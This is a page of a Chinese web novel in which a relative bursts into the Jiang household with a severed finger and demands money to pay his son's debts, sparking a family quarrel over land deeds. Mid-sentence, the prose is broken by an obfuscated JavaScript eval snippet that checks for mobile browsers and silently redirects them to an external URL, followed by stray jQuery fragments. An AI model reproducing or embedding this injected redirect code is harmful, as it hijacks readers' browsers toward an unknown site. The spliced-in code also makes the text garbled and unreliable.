20. 仇人血(第2页)
“不用去寻,我悄悄跟拂柳讲了,让他把人荐到赵掌柜那里去。咱们只用等着赵掌柜上门就好。”
姜曈挽着苏观卿的胳膊,步伐轻快起来:“那咱们赶紧回去了,你今天的药还没喝吧?赶紧回家熬药去。”
“是。”苏观卿听出姜曈语气中的欢欣,也跟着高兴起来。
……
翌日一早,姜曈还在单方面跟姜怀山冷战,不肯跟爹妈一起吃饭,她钻进灶房,跟苏观卿一起啃馒头。
正啃着,就听到院门外有人哐哐敲门。
“我去开门。”姜曈把自己啃了一半的馒头塞到苏观卿的手中,径自出了灶房。
院门打开,只见外面站着一个老头,门一开就满面惶急要往里面闯。
“你是谁?”姜曈当即拦住他。
“你就是怀山的闺女吧?”那老头道,“我是你伯父呀!我是阿曚的亲爹!”
姜曈的脸色黑下来:“你来做什么?姜曚不是已经放了吗?”
“阿曚出事了!”老头急得直跺脚,“你爹呢?我跟他说!”
“如果是姜曚的事情,就请免开尊口。我们家已经跟这个不孝子没有关系了。”姜曈冷冷道。
“我跟你一个小孩说不着!我找你爹!”姜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834573|174811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怀堰把姜曈一推,就往里冲。
姜曈不防他一个长辈居然说动手就动手,所幸她学过一点功夫,底盘比寻常人稳,只是一个趔趄,连退了好几步,化去了这一推之力。
可她堪堪停住,左脚却又绊到了一根竹竿上,到底失去了重心,朝后倒去,本以为定要摔了,谁知正撞入一个温热的怀抱中。
苏观卿听见动静刚走出来没两步,先是被她踹了竹杖,又给她一撞,还没反应过来呢,下意识地就把人抱了个满怀。
从八年前,两人共乘一匹马以后,他再未同姜曈有如此亲密的接触,现在的姜曈早就跟八岁那个瘦猴儿一样的女娃有了天差地别,苏观卿搂住她,仿佛搂住了一朵轻云,一股淡淡的墨香从鼻尖掠过,他像是浑身过电一般,耳根一下子就红了,几乎是立即便撒开了手。
苏观卿听到自己的声音在问:“曈曈,你有没有事?”
“我没事。”姜曈站稳了身子,一回头,姜怀山已经听见动静走出了屋子。
姜怀堰一见到这个远房堂弟就开嚎了:“怀山救命呐!阿曚一出牢房,就叫一群人挟走了!我初初以为是阿曚的朋友,谁知今早、今早……”
他说到这里竟哽咽了起来,从袖兜里掏出来一个红布裹着的东西,抖着手打开。
姜曈过去一看,不由瞳孔骤缩。
那不是什么红布!那是被血染红的白布!
而那血布中裹着的,竟是一截被人生生砍断的食指!
“他们说阿曚欠了他们的钱,若是不还,便会一天砍一根,直到还清为止。”姜怀堰说着大哭起来。
他的年纪其实比姜怀山还大些,头发早已花白。姜怀山看着这个同宗的老哥哥如此,一时也生了恻隐之心。
“阿曚欠了多少钱?”姜怀山道。
姜怀堰正要开口,姜曈厉声打断道:“姜曚欠了多少钱,也不与咱们相干!”
“这里没你一个小辈说话的份!”姜怀堰斥道。
“道理面前,你别想用辈分压人!”姜曈回道。
“子不教,父之过!我说为什么我家阿曚在家的时候,是多好的一个孩子,在你家几年就染上了这么多的劣习。姜怀山,看看你的女儿,居然跟长辈顶嘴!是你!是你教坏了我的儿子,可你教坏了我的儿子,难道就撒手不管了吗?”
姜怀山的脸色不大好看,他看向钟婉词:“去把昨日那些田契拿出来吧。”
钟婉词没有动,只是不可思议地瞪着姜怀山。
“连你也跟姜曈一样不懂事了吗?”姜怀山连着被他们三个人轮流针对,面子上早就挂不住了。
钟婉词就是再没主见,这要紧的关头也知道自己该如何选择,她像是一只护住幼崽的母兔子一样,竖着耳朵,红着眼睛,抖着声音道:“怀山,你昨晚答应我的,这些田契要留给曈曈做嫁妆!”
“眼下人命关天……”姜怀山道。
“好一个人命关天,”姜曈声音发冷,她注视着姜怀山,“爹,你难道忘了姜曚想要卖掉我,想要杀了你吗?咱俩没了,娘还活得成吗?你觉得姜曚会给娘养老送终,还是逼她殉节?”
这话像是一柄利剑戳进姜怀山的心口,他脸色一白,朝后趔趄了一步。
钟婉词赌着一口气,没去扶他。
姜曈也只是怒气冲冲地瞪视着他。
有那么一瞬,姜怀山只觉自己成了孤家寡人。